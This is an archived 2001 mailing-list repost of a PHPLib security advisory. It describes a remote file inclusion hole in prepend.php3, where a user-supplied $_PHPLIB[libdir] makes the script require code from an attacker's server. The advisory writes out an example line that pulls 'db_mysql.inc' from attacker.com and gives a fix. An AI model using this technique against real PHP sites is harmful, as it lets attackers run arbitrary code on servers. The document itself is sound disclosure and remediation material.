Here's something that everyone using this version of PHPLib should read.
It's such a big hole I saw elephants running through a minute ago..
Replace the first few lines of prepend.php3 with this:
$_PHPLIB = array();
$_PHPLIB["libdir"] = "";
-------- Original Message --------
Subject: [SEC] Hole in PHPLib 7.2 prepend.php3
Date: Sun, 22 Jul 2001 23:04:20 -0400 (EDT)
From: "nathan r. hruby" <nathan at dstatement.com>
To: <phplib at lists.netuse.de>
CC: <php-general at lists.php.net>,
<phpslash at lists.sourceforge.net>,<bugtraq at securityfocus.com>,
<imp at horde.org>
The PHPLib Team announces phplib-7.2d, availible now. This release
the recently discovered hole in prepend.php3 that can allow a remote
attacker to inject non-local code into any phplib based script.
Please note that this affects all applications that depend on PHPLib.
Some apps have decided to distribute phplib along with their app for
easier installation. Please check your phplib apps to determine if this
is the case.
This hole has been mentioned in a HORDE IMP announcement and can be
You can download phplib-7.2d from:
Note the new download location, you are not reading that incorrectly,
PHPLib is starting the journey to SourceForge from its current home on
phplib.netuse.de. CVS, Mailing Lists and the Website will be migrated
over the next week. The current phplib.netuse.de site will be shortly
removing all downloads and re-directing users to the new SourceForge
Please be sure to keep an eye on http://sourceforge.net/projects/phplib/
What follows is the original announcemnt of the hole from the
discoverer Giancarlo Pinerolo <giancarlo at navigare.net>
--- BEGIN ANNOUNCE
I. Systems Affected
* PHPLIB : systems with default PHPLIB installation,
and default PHP settings,
either as an Apache Module or a CGI,
it also affects PHPLIB when used on any Windows web server
with the PHP interpreter
Both PHP3 and PHP4 are vulnerable
the use of _PHPLIB[libdir] first appeared on versions
of PHPLIB starting December 1998
In PHP, variables do not have to be declared. They are created as soon
as a value is assigned to them.
When PHP is configured with register_globaps enabled (as it is by
default), variables submitted by the user are available in the global
This means that, if a form or an URL query string contains a variable
named "myvar", this variable is made available to the script as $myvar.
Getting variables from user input is, in the end, what web programming
is allabout, but in this case an attacker can exploit the fact that a
variable, not meant to be accepted as input, can actually make its way
in, because it has not been previously initialized by the script.
PHP also has the possibility to pass associative arrays via the GET
or POST methods. An example is an URL Like this:
or a form whose input field looks like this:
<INPUT type="text" name="MYARRAY[element1]">
PHP also has the possibility to transparently 'include' in a script
other pieces of code via the 'include' and 'require' functions.
It automatically discerns if the file to be included is on the local
filesystem or on a remote location, when the php setting
php_enable_fsockopen is true.
include("myfile.php") # will include it from the local filesystem
include("http://www.there.com/myfile.php") # will include it from
# the net
For more information on this issues I suggest reading tye document
titled "A Story in Scarlet" Exploiting Common Vulnerabilities in
PHP Applications" at
By providind a value for the the array element $_PHPLIB[libdir], an
intruder can force a script to load and execute scripts from another
This is because the value of $_PHPLIB[libdir] gets initalized *only*
if not already set.
This is particularly gravious because, in the normal PHPLIB
installation, loadin other libraries is done at the very beginning.
The first instructions in the file 'prepend.php3', that is the very
first file which normally gets included in all PHPLIB installation,
require($_PHPLIB["libdir"] . "db_mysql.inc");
or other filenames like 'db_pgsql.inc' for the postgres database,
depending on the database in use.
if, in te above instruction, $_PHPLIB[libdir] is a string whose value
is "http://attacker.com/", the instrucion executed will be:
require("http://attacker.com/" . "db_mysql.inc");
Thus, simply crafting and opening with a browser an URL like:
will make the script 'page.php', which the attacker knows is based on
the PHPLIB toolkit, include and execute any arbitrary php instruction
contained in a file named 'db_mysql.inc', loaded via an http request for
it, located, in the example above, in the document root of the
'attacker.com' web server (http://attacker.com/db_mysql.inc)
Considered the wealth of filesystem and network functions available as
PHP functions, and the easy exploitation of this attack, I consider it
Rome July 14,2001
--- END ANNOUNCE
nathan hruby / digital statement
nathan at dstatement.comhttp://www.dstatement.com/
Public GPG key can be found at:
ED54 9A5E 132D BD01 9103 EEF3 E1B9 4738 EC90 801B
Maintained by the ILUG website team. The aim of Linux.ie is to
support and help commercial and private users of Linux in Ireland. You can
display ILUG news in your own webpages, read backend
information to find out how. Networking services kindly provided by HEAnet, server kindly donated by
Dell. Linux is a trademark of Linus Torvalds,
used with permission. No penguins were harmed in the production or maintenance
of this highly praised website. Looking for the
Indian Linux Users' Group? Try here. If you've read all this and aren't a lawyer: you should be!